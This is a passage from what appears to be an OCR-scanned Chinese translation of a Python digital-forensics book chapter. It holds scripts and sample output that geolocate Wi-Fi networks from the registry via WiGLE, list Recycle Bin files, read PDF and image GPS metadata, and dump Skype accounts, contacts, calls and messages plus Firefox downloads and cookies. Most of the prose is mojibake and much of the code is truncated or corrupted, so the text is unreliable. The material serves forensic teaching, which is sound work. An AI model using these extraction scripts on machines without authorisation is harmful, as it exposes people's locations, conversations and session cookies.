(n, name, t) = _winreg.EnumValue(netKey, 4)
macAddr = val2addr (addr)
netName = str(name)
print '[+] ' + netName + ' ' + macAddr
_winreg.CloseKey(netKey)
except:
break
def main():
printNets()
if __name__ == "__main__":
main()
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C:\Users\investigator\Desktop\python discoverNetworks.py
[*] Networks You have Joined.

[+] Hooters_San_Pedro, 00:11:50:24:68:7F

[+] LAX Airport, 00:30:65:03:e8:c6

[+] Senate_public_wifi, 00:0b:85:23:23:3e
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1% FIWIGLE. Net » il P Rtk & F R34 THEIWIGLER LM &5 % = 77 69 T @i
TRE - &% AP LRIt FWIGLE.nettg #1451 W @ £ https://wigle.net/ MR ;
Rig B P obM B EBIWIGLEA https://wigle.net/ T @ o & » A P T AL 94 T 69
£ 4 SSIDEMACHAE £ hitps://wigle.net/ T @ o # KRMACHIE &g K » KA1T
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POST /gps/gps/main/confirmquery/ HTTP/1.1
Accept-Encoding: identity

Content-Length: 33

Host: wigle.net

User-Agent: AppleWebKit/531.21.10

Connection: close

Content-Type: application/x-www-form-urlencoded
netid=0A%3A2C%3AEF%3A3D%3A25%3A1B

<..SNIPPED. .>

sbob 0 RATE BT @vh 2 69 3B F 6,8 T GPS 447 o F4F
% maplat=47.25264359&maplon=-87.25624084 SA THEANENREHE o

<tr class="search'"><td>

<a href="/gps/gps/Map/onlinemap2/?maplat=47.25264359&amp;maplon=-
87.25624084&amp;mapzoom=17&amp; ssid=McDonald's FREE Wifi&amp;netid:
25:1B">Get Map</a></td>

<td>0A:2C:EF:3D:25:1B</td><td>McDonald's FREE Wifi</td><
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http://www.skyhookwireless.com/
http://code.google.com/p/maclocate/
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#i8 i Python# ATWEBR A %A » 2T urllib2 B3R HEE - Ak FRE > —
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import mechanize, urllib, re, urlparse

def wiglePrint(username, password, netid):
browser = mechanize.Browser ()
browser.open('http://wigle.net')
reqData = urllib.urlencode({'credential_0': username,
browser.open('https://wigle.net/gps/gps/main/login',
params = {}
params['netid'] = netid
reqParams = urllib.urlencode(params)

'credent:
reqbData)

respURL = 'http://wigle.net/gps/gps/main/confirmquery/"'

resp = browser.open(respURL, reqParams).read()
mapLat = 'N/A'
mapLon = 'N/A'
rLat = re.findall(r'maplat=.*\&amp;"', resp)
if rlLat:

mapLat = rLat[0].split('&amp;')[0].split('=")[1]
rLon = re.findall(r'maplon=.*\&amp;"', resp)

if rLon:
mapLon = rLon[0].split
print('[-] Lat: ' + mapLat + ', Lon: ' + mapLon)
J 1
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# coding=UTF-8
import optparse
import mechanize
import urllib
import re

import _winreg

def val2addr(val):
addr = ""
for ch in val:
addr += ("%02x " % ord(ch))
addr = addr.strip(" ").replace(" ", ":")[0:17]
return addr

def wiglePrint(username, password, netid):
browser = mechanize.Browser ()
browser.open('http://wigle.net')
reqData = urllib.urlencode({'credential 0': username,
browser.open('https://wigle.net/gps/gps/main/login',
params = {}
params['netid'] = netid
reqParams = urllib.urlencode(params)

'credent:
reqData)



respURL = 'http://wigle.net/gps/gps/main/confirmquery/"'
resp = browser.open(respURL, reqParams).read()
mapLat = 'N/A'
mapLon = 'N/A'
rLat = re.findall(r'maplat=.*\&amp;', resp)
if rLat:
mapLat = rLat[0].split('&amp;"')[0].split('=")[1]
rLon = re.findall(r'maplon=.*\&amp;"', resp)

if rLon:
mapLon = rLon[0].split
print('[-] Lat: ' + mapLat + ', Lon: ' + mapLon)

def printNets(username, password):
net = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList
key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, net)
print '\n[*] Networks You have Joined.'
for 1 in range(100):
try:
guid = _winreg.EnumKey(key, 1)
netKey = _winreg.OpenKey(key, str(guid))
(n, addr, t) = _winreg.EnumValue(netKey, 5)
(n, name, t) = _winreg.EnumValue(netKey, 4)
macAddr = val2addr (addr)
netName = str(name)
print('[+] ' + netName + ' ' + macAddr)
wiglePrint(username, password, macAddr)
_winreg.CloseKey(netKey)
except:
break

def main():
parser = optparse.OptionParser("usage%prog -u <wigle username>
parser.add_option('-u', dest='username',6 type='string', help="¢
parser.add_option('-p', dest='password',6 type='string', help="¢
(options, args) = parser.parse_args()
username = options.username
password = options.password

if username == None or password == None:
print(parser.usage)
exit(0)

else:
printNets(username, password)

if __name__ == '__main__':
main()
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C:\Users\investigator\Desktop\python discoverNetworks.py
[*] Networks You have Joined.

[+] Hooters_San_Pedro, 00:11:50:24:68:7F

[-] Lat: 29.55995369, Lon: -98.48358154

[+] LAX Airport, 00:30:65:03:e8:c6

[-] Lat: 28.04605293, Lon: -82.60256195

[+] Senate_public_wifi, 00:0b:85:23:23:3e

[-] Lat: 44.95574570, Lon: -93.10277557
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import os
def returnDir():
dirs = ['C:\\Recycler\\', 'C:\\Recycled\\', 'C:\\$Recycle.Bin\®
for recycleDir in dirs:
if os.path.isdir(recycleDir):
return recycleDir
return None
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C:\RECYCLER>dir /a
Volume in drive C has no label.
Volume Serial Number is 882A-6E93
Directory of C:\RECYCLER
04/12/2011 09:24 AM <DIR> .
04/12/2011 09:24 AM <DIR> ..
04/12/2011 09:56 AM
<DIR> S-1-5-21-1275210071-1715567821-
725345543 -
1005
04/12/2011 09:20 AM <DIR> S-1-5-21-1275210071-1715567821-
725345543 -
500
0 File(s) 0 bytes
4 Dir(s) 30,700,670,976 bytes free
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AR P % “alex” o

C:\RECYCLER>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wind«
ProfileImagePath

! REG.EXE VERSION 3.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProfileList \S-1-5-21-1275210071-1715567821-
725345543-1005 ProfileImagePath

REG_EXPAND_SZ %SystemDrive%\Documents and Settings\alex
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import _winreg

def

sid2user(sid):

try:
key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "SOFTWARL
(value, type) = _winreg.QueryValueEx(key, 'ProfileImagePatt
user = value.split('\\')[-1]
return user

except:
return sid
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# coding=UTF-8

import os
import _winreg

def

def

def

def

returnDir():
dirs = ['C:\\Recycler\\', 'C:\\Recycled\\', 'C:\\$Recycle.Bin\'
for recycleDir in dirs:
if os.path.isdir(recycleDir):
return recycleDir
return None

sid2user(sid):

try:
key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "SOFTWARE
(value, type) = _winreg.QueryValueEx(key, 'ProfileImagePatt
user = value.split('\\')[-1]
return user

except:
return sid

findRecycled(recycleDir):
dirList = os.listdir(recycleDir)
for sid in dirlList:
files = os.listdir(recycleDir + sid)
user = sid2user(sid)
print('\n[*] Listing Files For User: ' + str(user))
for file in files:
print('[+] Found File: ' + str(file))

main():
recycledDir = returnDir()
findRecycled(recycledDir)

if __name__ == '_main__':

main()
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Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.
C:\>python dumpRecycleBin.py

[*] Listing Files For User: alex

[+] Found File: Notes_on_removing_MetaData.pdf
[+] Found File: ANONOPS_The_Press_Release.pdf
[*] Listing Files For User: Administrator

[+] Found File: 192.168.13.1-router-config.txt
[+] Found File: Room_Combinations.xls
C:\Documents and Settings\john\Desktop>
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forensic:~# wget

http://www.wired.com/images_blogs/threatlevel/2010/12/ANONOPS_The_
Press_Release.pdf

--2012-01-19 11:43:36--

http://www.wired.com/images_blogs/threatlevel/2010/12/ANONOPS_The_
Press_Release.pdf

Resolving www.wired.com... 64.145.92.35, 64.145.92.34

Connecting to www.wired.com|64.145.92.35|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 70214 (69K) [application/pdf]

Saving to: 'ANONOPS_The_Press_Release.pdf.1'

::::::::::::::::::::::::::::::::>] 70,214 364K/s in 0.2s
2012-01-19 11:43:39 (364 KB/s) - 'ANONOPS_The_Press_Release.pdf' s
[70214/70214]
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import pyPdf
from pyPdf import PdfFileReader

def printMeta(fileName):
pdfFile = PdfFileReader(file(fileName, 'rb'))
docInfo = pdfFile.getDocumentInfo()
print('[*] PDF MetaData For: ' + str(fileName))
for metaltem in docInfo:
print('[+] ' + metaltem + ':' + docInfo[metaltem])
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http://pybrary.net/pyPdf/

# coding=UTF-8

import pyPdf

from pyPdf import PdfFileReader
import optparse

def printMeta(fileName):
pdfFile = PdfFileReader(file(fileName, 'rb'))
docInfo = pdfFile.getDocumentInfo()
print('[*] PDF MetaData For: ' + str(fileName))
for metaItem in docInfo:
print('[+] ' + metaltem + ':' + docInfo[metaItem])
def main():
parser = optparse.OptionParser('usage %prog -F <PDF file name>
parser.add_option('-F', dest='fileName',6 type='string', help="¢
(options, args) = parser.parse_args()
fileName = options.fileName

if fileName == None:
print(parser.usage)
exit(0)

else:
printMeta(fileName)

if __name__ == '_main__':
main()
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forensic:~# python pdfRead.py -F ANONOPS_The_Press_Release.pdf
[*] PDF MetaData For: ANONOPS_The_Press_Release.pdf

[+] /Author:Alex Tapanaris

[+] /Producer:OpenOffice.org 3.2

[+] /Creator:Writer

[+] /CreationDate:D:20101210031827+02'00'
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exiftool(A\ http://www.sno.phy.queensu.ca/~phil/exiftool/ =T 3K 4F) 48 AF T X e 4 4L o
&P A QEXIFA TR SRS ILA 6912 & » TR AR LR, F RO 5K

B o EEEXIfA &4 MIA 5 4 friPhone 4SVA R B4 £ IR GPSA 4 & & 4% © X
A2 B2 R BAR R ARA B 6 o tade it » Mac OS X & A #2 5 iPhotof® /A 4% & 13 &
FEFOPEI A LGB R c Ad > REZELERENEZNER o BE—
A ERFEXIFRB R AR M E XM L > AT AT HATH 69 B LA 47 Z 48 7T 1A
FniB EEGEHEE c ETENZTF P » KRNBELZ— M RAREHEWEBME » T
B A S AT IEXIfTEIE -

investigator$ exiftool photo.JPG

ExifTool Version Number : 8.76

File Name : photo.JPG

Directory : /home/investigator/photo.JPG
File Size : 1626 kB

File Modification Date/Time : 2012:02:01 08:25:37-07:00
File Permissions : rw-r--r--

File Type : JPEG

MIME Type : image/jpeg

Exif Byte Order : Big-endian (Motorola, MM)
Make

: Apple

Camera Model Name : iPhone 4S

Orientation : Rotate 90 CW

<..SNIPPED. .>

GPS Altitude : 10 m Above Sea Level

GPS Latitude : 89 deg 59' 59.97" N

GPS Longitude : 36 deg 26' 58.57" W
<..SNIPPED. .>

1# i BeautifulSoup T # A%

=T VAL www.crummy.com/software/BeautifulSoup/ 3%
1% BeautifulSoup ° BeautifulSoup A #F&ATHRFEMHTML F2XML T
#% o 3 BeautifulSoup ZF|R#ARA > H1E M easy_install RILZL

JE

% BeautifulSoup /& °

investigator:~# easy_install beautifulsoup4

Searching for beautifulsoup4

Reading http://pypi.python.org/simple/beautifulsoup4/
<..SNIPPED. .>

Installed /usr/local/lib/python2.6/dist-packages/beautifulsoup4-4.:
Processing dependencies for beautifulsoup4

Finished processing dependencies for beautifulsoup4

j R 2



http://www.sno.phy.queensu.ca/~phil/exiftool/

LR F o EAVE1E M BeautifulSoup RINEHTML UA% 69 1 &k RELSTAS F AT
AR o2& > EAVEA urllib2 AT A FRRE o BT RKN T A4

% BeautifulSoup M ZXFH—ANEETREHTML A 5 £ 69 AT o B X AF 69 2t
%0 RATURBTH B GAr % > @it A findall('img') Fi¥k > EAMARHEK
BE—ANEET R Bir 269 %A -

import urllib2

from bs4 import BeautifulSoup

def findImages(url):
print('[+] Finding images on ' + url)
urlContent = urllib2.urlopen(url).read()
soup = BeautifulSoup(urlContent)
imgTags = soup.findAll('img')
return imgTags

BTk BNEEMMEFTRE—ABG  RELAERORIB[FHRHITHRE AT

THREM% > ZA1E A urllib2 ° urlparse #= os #E3k - B KRIVMNEKL

T B P IRBURGAE » 4R AR RS M A EE — R BB RN G-
#HFRERIT A LHEEEAZE AT -

import urllib2
from urlparse import urlsplit
from os.path import basename
def downloadImage(imgTag):
try:
print('[+] Dowloading image...')
imgSrc = imgTag['src']
imgContent = urllib2.urlopen(imgSrc).read()
imgFileName = basename(urlsplit(imgSrc)[2])
imgFile = open(imgFileName, 'wb')
imgFile.write(imgContent)
imgFile.close()
return imgFileName
except:
return "'

1% Fl Python & B 1% & I B A% 14 132 Exif /TEIE 4 7 WX B A% 69 A 545 B Exif TE3E »
AV AL F Python B AR E PIL RAETAF > T VA
http://www.pythonware.com/products/pil/ K4F » A3E wPython &9 B4 »
F A BRATHIR ORI EG I0IT AL B A RGBT & o A T WX ALEKIE » KA
KAT A6 FA4E A pIL B £ H4E A REK getexif() ° BT kKA ARMTEXif
BB — A B THIBERA LT c AR RGE 0 BN TAB RHRAFRFEL
T 82 A GPSInfo MEXf H%k o R E 64 6PSInfo H4 > KM@ L&
&GPS AKEFITHIZ LB F R L -


http://www.pythonware.com/products/pil/

from PIL import Image
from PIL.ExifTags import TAGS
def testForExif(imgFileName):
try:
exifData = {}
imgFile = Image.open(imgFileName)
info = imgFile._getexif()
if info:
for (tag, value) in info.items():
decoded = TAGS.get(tag, tag)
exifData[decoded] = value
exifGPS = exifData['GPSInfo']
if exifGPS:
print('[*] ' + imgFileName + ' contains GPS MetaDat
except:
Pass

{ S

BT A 0 R A —AL > RATE B RILAE T AE 5] — NURL ik - AT T HRATA
b9 B % ST 0 KB XA A U A EXIf UEIE © 72 & main() HEKF 0 KA1 BE AR
Blsh B EEg PR BARA ) & > RE AT 8 HE—NER 0 KA1 T & B4R H 0K
€GPS T4k -

# coding=UTF-8
import urllib2
import optparse
from bs4 import BeautifulSoup
from urlparse import urlsplit
from os.path import basename
from PIL import Image
from PIL.ExifTags import TAGS
def findImages(url):
print('[+] Finding images on ' + url)
urlContent = urllib2.urlopen(url).read()
soup = BeautifulSoup(urlContent)
imgTags = soup.findAll('img')
return imgTags
def downloadImage(imgTag):
try:
print('[+] Dowloading image...')
imgSrc = imgTag['src']
imgContent = urllib2.urlopen(imgSrc).read()
imgFileName = basename(urlsplit(imgSrc)[2])
imgFile = open(imgFileName, 'wb'")
imgFile.write(imgContent)
imgFile.close()
return imgFileName
except:
return "'
def testForExif(imgFileName):



J

def

try:
exifData = {}
imgFile = Image.open(imgFileName)
info = imgFile._getexif()
if info:
for (tag, value) in info.items():
decoded = TAGS.get(tag, tag)
exifData[decoded] = value
exifGPS = exifData[ 'GPSInfo']
if exifGPS:
print('[*] ' + imgFileName + ' contains GPS MetaData')
except:
pass
main():
parser = optparse.OptionParser('usage%prog -u <target url>")
parser.add_option('-u', dest='url', type='string', help="specit
(options, args) = parser.parse_args()
url = options.url
if url == None:
print(parser.usage)
exit(0)
else:
imgTags = findImages(url)
for imgTag in imgTags:
imgFileName = downloadImage(imgTag)
testForExif (imgFileName)

if __name__ == '_main__':

main()

R 2

xt B AR Ak X R R A R A9 R 0 RATT AF B L —AE1% 845 GPS LB
Boo IANRATMNAB ARG AN E » AT T vA4E F LB K R 280K A T8y
FaiRl > B ERE KA o

J

forensics: # python exifFetch.py -u http://www.flickr.com/photos/d\

[+]
[+]
[+]
[+]
[*]
[+]
[+]
[+]

Finding images on http://www.flickr.com/photos/dvids/499900192!
Dowloading image. ..

Dowloading image. ..

Dowloading image. ..

4999001925_ahb6da92710_o.jpg contains GPS MetaData

Dowloading image. ..

Dowloading image. ..

Dowloading image. ..

JlPython 1A% = 42 5 44



E—F ZAG T2 AR F %4 o Bp AN RAT 89 &2 R AL 5 44 1% £ SQLite 244 & F &9
% Y& o SQLite F B A2 JUA TR 89 2 R A2 5 P AR RAT 89 3% 0 2 Tlocal/client &
it KA RV o AEEZWEB 2R E » AAGHRALIES TR o HGHAA 26
client/server % % %3 & » SQLite 4B & 74 ik # AN AIE B A2 EAUEAF A £ A M o
#& #1 @ Dr. Richard Hipp £ £ B & % T4E 8t 6] s » SQLite 3B & /29 % ARATH9 2 A
A2 5 P 6948 B BT 6938 % o 4 Apple » Mozilla » Google » McAfee °

MicrosoftMircso » Intuit » i Jil ¥, %, » DropBox * AdobeAdro # £ & Airbus /2 3]
A E 2| 2 A A2 5 F 12 K SQLite K38 A& X o T M4 fT AT SQLite 23 & Hf /£ % i2
iR & BE F 4% K Python B #0232 JFw A A6y o T — 9 69714 » RATKA R ARATHY
&5 W R & P 3% Skype &k % £SQlite & & o

T ##Skype SQLite3 #% ik &

TEA4.0 A » RATE I R T A Skype &% T 69 R 3R %% 3B E4& X » 1% F SQLite &
A o £Windows A4 ¥ » Skype # i T 89— A% Imain.db & %38 & 1= %

42 C:\Documents and Settings\<User>\ApplicationData\Skype\<Skypeaccol
H%ET  » ZMAC OS X A% ¥ » 48 Bl 6943 & %

f£ /Users/<User>/Library/Application\ Support/Skype/<Skype-account>
BT o122£Skype B T A £ GEIEE T 2 4 T £4F469 T M Skype SQLite &
P EAT &g X  IERAMEA sqlite3 AT LR EILDFIEE - i

B o &AATH A

SELECT tbl_name FROM sqlite_master WHERE type=="table”;

SQlLite % iEE 2P T —AN 4% A sqlite _master * XNERESTIHL

A thbl_name * JRFEAEIIEE FogHE— K o #ATX 4] SELECT & 4] A &A1
& %&Skype 89 main.db FIBE FEIER o RATTAEE » RREERFHGREL G
o MR o BEEZSMS K A8 -



investigator$ sqlite3 main.db

SQLite version 3.7.9 2011-11-01 00:52:41
Enter ".help" for instructions

Enter SQL statements terminated with a ";"
sglite> SELECT tbl _name FROM sqlite_master WHERE type=="table";
DbMeta

Contacts

LegacyMessages

Calls

Accounts

Transfers

Voicemails

Chats

Messages

ContactGroups

Videos

SMSes

CallMembers

ChatMembers

Alerts

Conversations

Participants

%Fiﬁﬂ%we&ﬂﬁ%%ﬁ%%uobbaﬁﬂb%mfﬁz%’%we%m

X HF%&%aﬁﬁﬁmﬁﬂ% 128 047 HHE®EE > RINTREE
—Js@t#@@% %ﬂo&%’ﬁﬁﬁﬁ%EUMXH@a%%$%mﬁiﬁ%
B4 X, o UNIX B 18] B B 4% 4% MR EE X o BH B HEEGIEEA
81970 51 A1 B k&4 %f(ﬁﬁ %fu'ﬁ o SQL %4k datatime() T VA% X AFfas51L
A HREHHER o

sqlite> SELECT fullname, skypename, city, country,
datetime(profile_

timestamp, 'unixepoch') FROM accounts;

TJ OConnor |<accountname>|New York|us|22010-01-17 16:28:18

1% FlPython #)Sqlite3 & 7 7. A Skype %k & & i

YRR B PAT—A SELECT B ORE S » RNA L% AR EHRIEE T

JUNTR R 8 & Fa 2| b 69 8196915 & o L &RATAI A sqlite3 ER%BE—A1 8

Python #2 /5 k TR Z & o ZZ&KA189 R4 printProfile() ° BAIE—4

3 main.db FHIEENEHE > QEZNEEIG CER—NMAERTRERTR

1284789 SELECT 5¢] » SELECT &4 MERBE—ANa4%AMHM - s TH

RS R ‘@@mf’stsz i B Ae )-8 RE 6 K 51 7] o BA AR
TRER REEZOITIRNE FERLE -



# coding=UTF-8

import sqlite3

def printProfile(skypeDB):

conn = sqglite3.connect(skypeDB)

c = conn.cursor()

c.execute("SELECT fullname, skypename, city, country,
datetime(profile_timestamp, 'unixepoch') FROM Accounts;")
for row in c:

print('[*] -- Found Account --"')

print('[+] User: '+4str(row[0]))

print('[+] Skype Username: '+str(row[1]))

print('[+] Location: '+4str(row[2])+', "+str(row[3]))
print('[+] Profile Date: '+str(row[4]))

def main():

skypeDB = "main.db"

printProfile(skypeDB)

if __name__ == "__main__":

main()

BATERAE A » ZATA 2] > Skype 89 main.db HEEELET—ARAPKF » &
TraAsa9 P88 » £A41H <accountname> KRB EEMFH P L o

investigator$ python printProfile.py
[*] -- Found Account --

[+] User: TJ 0Connor

[+] Skype Username : <accountname>

[+] Location : New York, NY,us

[+] Profile Date : 2010-01-17 16:28:18

TE &A1 T 4 B A ik 09 Bk A Abak it — I8 £ Skype 09 BIEFE o & 0 B A KA
8 RT% > Skype AP % » 1o B » Hoh i » LET4 B FH—ANKAEA
BEREET o A ZENMAL LEEBRIVAESA AL F—NAARA AR R G - AT
ARAVIEAZ Bl Ak o iERAMM Y SELECT B R EHZ & » ZZEILANFHK »
fode £ B TR null » EZXAHLT » KNAREAHEGRITPRFTENLE
2



def printContacts(skypeDB):
conn = sqglite3.connect(skypeDB)
c = conn.cursor()
c.execute("SELECT displayname, skypename, city, country, phone.
for row in c:

print('\n[*] -- Found Contact --'")
print('[+] User : ' + str(row[0]))
print('[+] Skype Username : ' + str(row[1]))
if str(row[2]) !'= "' and str(row[2]) != 'None':
print('[+] Location : ' + str(row[2]) + ',' + str(row[:
if str(row[4]) != 'None':
print('[+] Mobile Number : ' + str(row[4]))
if str(row[5]) != 'None':
print('[+] Birthday : ' + str(row[5]))
| E— o]

BB MAERMNARAEMF TR FREGEHIEE - R » BRANBIEZEADSEF
fFa—RmBELAHL?EZMFERLT » ENTHF ARG E—A71RE R MEm N SIE E
AP o ATHMAE— & > RATKIK AT 40 ﬁﬁ@i‘ESkype BB R AiAEITF o
AT % 1% tm 69 Skype B EIC K 0 RATEF ZF B4 R BE R IR AL o &ﬁi%#
&8 1E G it R B A e AR EE— R FHEEL A conv_dbid c FEAARLEY T
EH O F DA~ RIEGID Z|PAAIde Bk » A TEHERANEENE L L1
% SELECT &%) A W 4115 4] WHERE calls.conv_dbid = conversations.id
KA © Lfﬁﬁ%%%ﬁﬁﬂéﬁﬁﬁﬁﬁwwe&%E?%%we%ﬁ%ﬁi
alE) ﬁn% °

def printCallLog(skypeDB):
conn = sqglite3.connect(skypeDB)
c = conn.cursor()
c.execute("SELECT datetime(begin_timestamp, 'unixepoch'),
identity FROM calls, conversations WHERE calls.conv_dbid =
conversations.id;")
print('\n[*] -- Found Calls --"'")
for row in c:
print('[+] Time: '+str(row[0@]) + ' | Partner: ' + str(row|[:

J S

TE RV G — AR Bk TR By A o 1EIE FF 0 Skype k3B E 5 R BN &
ETHARP REFFEZIE 8 o BIEXEZ &9 Message & o KA &K » &
114

4T SELECT the timestamp, dialog_partner, author, and body_xml(raw te>
B o EE s wRMEE R TR dialog_partner @ ZIBEGINA F KL
b1z & %] dialog_partner ° &N > 4w RAEHF» dialog_partner #8

Fl » dialog_partner #1#4biX 43 8 » HA1I4 I dialog_partner 470 °



def

printMessages(skypeDB):
conn = sqglite3.connect(skypeDB)
c = conn.cursor()
c.execute("SELECT datetime(timestamp, 'unixepoch'), dialog_partr
print('\n[*] -- Found Messages --')
for row in c:
try:
if 'partlist' not in str(row[3]):
if str(row[1]) != str(row[2]):

msgDirection = 'To ' + str(row[1]) + ': '
else:
msgDirection = 'From ' + str(row[2]) + ': '
print('Time: ' + str(row[0@]) + ' ' + msgDirection -
except:
pass
| — o]

WP LR —A » RIVH —A3EF 3698 A k4 & Skype FH 4B & o KA189
PR T AT BB UM B 0 B A AL » 3Rk B A AR SE B P a9

B oo AT main() &3P i — L RAA - AR 05 B3k o EEAH R A
B 5 B e 0 AT A R R A BB AR A o

# coding=UTF-8
import sqglite3
import optparse
import os

def

def

printProfile(skypeDB):
conn = sqglite3.connect(skypeDB)
c = conn.cursor()
c.execute("SELECT fullname, skypename, city, country,
datetime(profile_timestamp, 'unixepoch') FROM Accounts;")
for row in c:
print('[*] -- Found Account --')
print('[+] User: '+str(row[0]))
print('[+] Skype Username: '+str(row[1]))
print('[+] Location: '+#str(row[2])+', '+str(row[3]))
print('[+] Profile Date: '+str(row[4]))
printContacts(skypeDB):
conn = sqglite3.connect(skypeDB)
c = conn.cursor()
c.execute("SELECT displayname, skypename, city, country,
phone_mobile, birthday FROM Contacts;")
for row in c:

print('\n[*] -- Found Contact --'")
print('[+] User : ' + str(row[0]))
print('[+] Skype Username : ' + str(row[1]))
if str(row[2]) !'= '' and str(row[2]) != 'None':
print('[+] Location : ' + str(row[2]) + ',' + str(row[:
if str(row[4]) !'= 'None':

print('[+] Mobile Number : ' + str(row[4]))



if str(row[5]) != 'None':
print('[+] Birthday : ' + str(row[5]))
def printCallLog(skypeDB):
conn = sqglite3.connect(skypeDB)
c = conn.cursor()
c.execute("SELECT datetime(begin_timestamp, 'unixepoch'), ident:
print('\n[*] -- Found Calls --'")
for row in c:
print('[+] Time: '+4str(row[®]) + ' | Partner: ' + str(row|:
def printMessages(skypeDB):
conn = sqglite3.connect(skypeDB)
c = conn.cursor()
c.execute("SELECT datetime(timestamp, 'unixepoch'), dialog_partrs
print('\n[*] -- Found Messages --')
for row in c:
try:
if 'partlist' not in str(row[3]):
if str(row[1l]) !'= str(row[2]):

msgDirection = 'To ' + str(row[1]) + ': '
else:
msgDirection = 'From ' + str(row[2]) + ': '
print('Time: ' + str(row[0]) + ' ' + msgDirection -
except:
pass

def main():
parser = optparse.OptionParser("usage%prog -p <skype profilepat
parser.add_option('-p', dest='pathName',6 type='string', help="¢
(options, args) = parser.parse_args()
pathName = options.pathName

if pathName == None:
print parser.usage
exit(0)

elif os.path.isdir(pathName) == False:
print '[!] Path Does Not Exist: ' + pathName
exit(0)
else:
skypeDB = os.path.join(pathName, 'main.db'")
if os.path.isfile(skypeDB):
printProfile(skypeDB)
printContacts(skypeDB)
printCallLog(skypeDB)
printMessages(skypeDB)
else:
print '[!] Skype Database does not exist: ' + skypeDB
if __name__ == "__main__ ":
main()

j - 2]

BATGM A » BAVIRIm—A -p 3k # X Skype B B #AE B 942 o B A4T P 3H
GREEBARME LR BRE » AN it & o R | ET—FF » Ki1¥
Fl #&A189 sqlite3d 894w iR kA& RATH KINR| B BB 4094 o



investigator$ python skype-parse.py -p /root/.Skype/not.myaccount
[*] -- Found Account --

[+] User: TJ 0Connor

[+] Skype Username: <accountname>

[+] Location: New York, US

[+] Profile Date: 2010-01-17 16:28:18

[*] -- Found Contact --

[+] User: Some User

[+] Skype Username : some.user

[+] Location

[+] Mobile Number

[+] Birthday: Basking Ridge, NJ,us: +19085555555: 19750101

[*] -- Found Calls --

[+] Time: 2011-12-04 15:45:20 | Partner: +18005233273

[+] Time: 2011-12-04 15:48:23 | Partner: +18005210810

[+] Time: 2011-12-04 15:48:39 | Partner: +18004284322

[*] -- Found Messages --

Time: 2011-12-02 00:13:45 From some.user: Have you made plane resel
Time: 2011-12-02 00:14:00 To some.user: Working on it...

Time: 2011-12-19 16:39:44 To some.user: Continental does not have ¢
Time: 2012-01-10 18:01:39 From some.user: Try United or US Airways,

{ S— >

LA R 8 Skype 14

Lo R ARG 18 7T VAGE T 1) B IR A 8998 & Skype HKIBE 0 BB ATB A o ZE AT
RSB G L bty

BRITHHRBFEAAD R POBFEAALR?

SELECT fullname, birthday FROM contacts WHERE birthday > 0;

HBATER R A 43 £ 69 <SKYPE-PARTNER> B¢ & Ae & ?

SELECT datetime(timestamp, ‘unixepoch’), dialog_partner, author, Dboc
FROM Messages WHERE dialog_partner = ‘<SKYPE-PARTNER>'

J E— 2]

T MR 4% T 8 <SKYPE-PARTNER> B A 10 % ?

DELETE FROM messages WHERE skypename = ‘<SKYPE-PARTNER>'

F Python 47 X IKSqlite3 4LiE &



feb—%F » KA1 K T Skype B89 £ —69 2 M EEE - BIEERBET REH

PBERKIE o EARTF > BRAVFIR T KING ] 692 — 2 P69 K G FIEE - KINEG
i X B FIE B 69 BRI B R

A C:\Documents and Settings\<USER>\Application Data\Mozilla\Firefox'
» f£Windows 24T * £MAC OS X A4 7 1% &
/Users/<USER>/Library/Application\ Support/Firefox/Profiles/<profil
BRT o ik &A17| B AL B K FHRIEEE o

investigator$ 1ls *.sqlite

places.sqlite downloads.sqlite search.sqglite

addons.sqglite extensions.sqlite signons.sglite
chromeappsstore.sqlite formhistory.sqlite webappsstore.sqlite
content-prefs.sqlite permissions.sqlite

cookies.sqlite places.sqglite

#d B EIN A RALKINGME T AL FFORKIE o 2RI ZINITILAL AL ?
TE &A1 downloads.sqlite #k3E/E A4 AL o downloads.sqlite SUHF71ik
TKINAP THRILHFNIZE - €A T —4A&%H moz_downloads ° Ak Gk
L THRE > THBM » UKD BEERBGILEFELE - KRIERA—A
Python By Ak AT SELECT &4k E1WE H697] @ LAk > RBEABHEE - i2F
KARA 92, ZUNIX B 1R B H7 o 4124 T A UNIX B R B 312 2038 & » ¢4F B 3Rt
1000000 # » B b &A1 1E 4 69 B 18] 44 X Rz % A& 41000000 # o

import sqlite3
def printDownloads(downloadDB):
conn = sqglite3.connect(downloadDB)
c = conn.cursor()
c.execute('SELECT name, source, datetime(endTime/1000000, \'un:

print '\n[*] --- Files Downloaded --- '
for row in c:
print('[+] File: ' + str(row[@]) + ' from source: ' + str(i
J E— o]

2t downloads.sqlite XHE/THA > RAVTEFEH » kB EXH ST RINAAT
B FEE RNALEANEZ T TRIE T &K T4 o

investigator$ python firefoxDownloads.py

[*] --- Files Downloaded ---
[+] File: ANONOPS_The_Press_Release.pdf from source: http://www.wil
4] — <| Ll

T TVEAVN e fn @A 206042 A P AR I KINT R I LA X - Adn o wRIAEH A
SRR P IEEFHEER ME 2622 2B 40 » B EE R AR P AT R4
MM E TR THILEAZTHNAL RER2A?EFAER A EHEER ML » BA
T e 69 A sk Y B AD K H AT P IAE 69 T iR AF o 3 Acookies * & THTTP & &8k 2
R A% M3EA] Fcookies kB KA o



FIE—TF > flde o HR PR R > 4o R B T AU cookies © A P H R AT
B 12— AN ARG FLANAE o KINBAE T X JH°Cookles #£ cookies. sqlite &l
B o el & R T AR Bcookies HEM 0 AR T FEUCEF BB EE] WRE K
# o

ERAT R %R 5 —APython By A4 EA 7 #9cookies © &A1& 4 2] 248 & I AT K
f1489SELECT & 4] o £ 3EE F > moz_cookies #47 iXcookies °

JA cookies.sqlite #&4BE 8 moz_cookies &% » EA1E L& EM > LAk >
cookies #94E » AR FATEI R K o

def printCookies(cookiesDB):
try:
conn = sqglite3.connect(cookiesDB)
c = conn.cursor()
c.execute('SELECT host, name, value FROM moz_cookies')
print('\n[*] -- Found Cookies --'")
for row in c:
host = str(row[0])
name = str(row[1])
value = str(row[2])
print('[+] Host: ' + host + ', Cookie: ' + name + ', V¢
except Exception as e:
if 'encrypted' in str(e):
print('\n[*] Error reading your cookies database.')
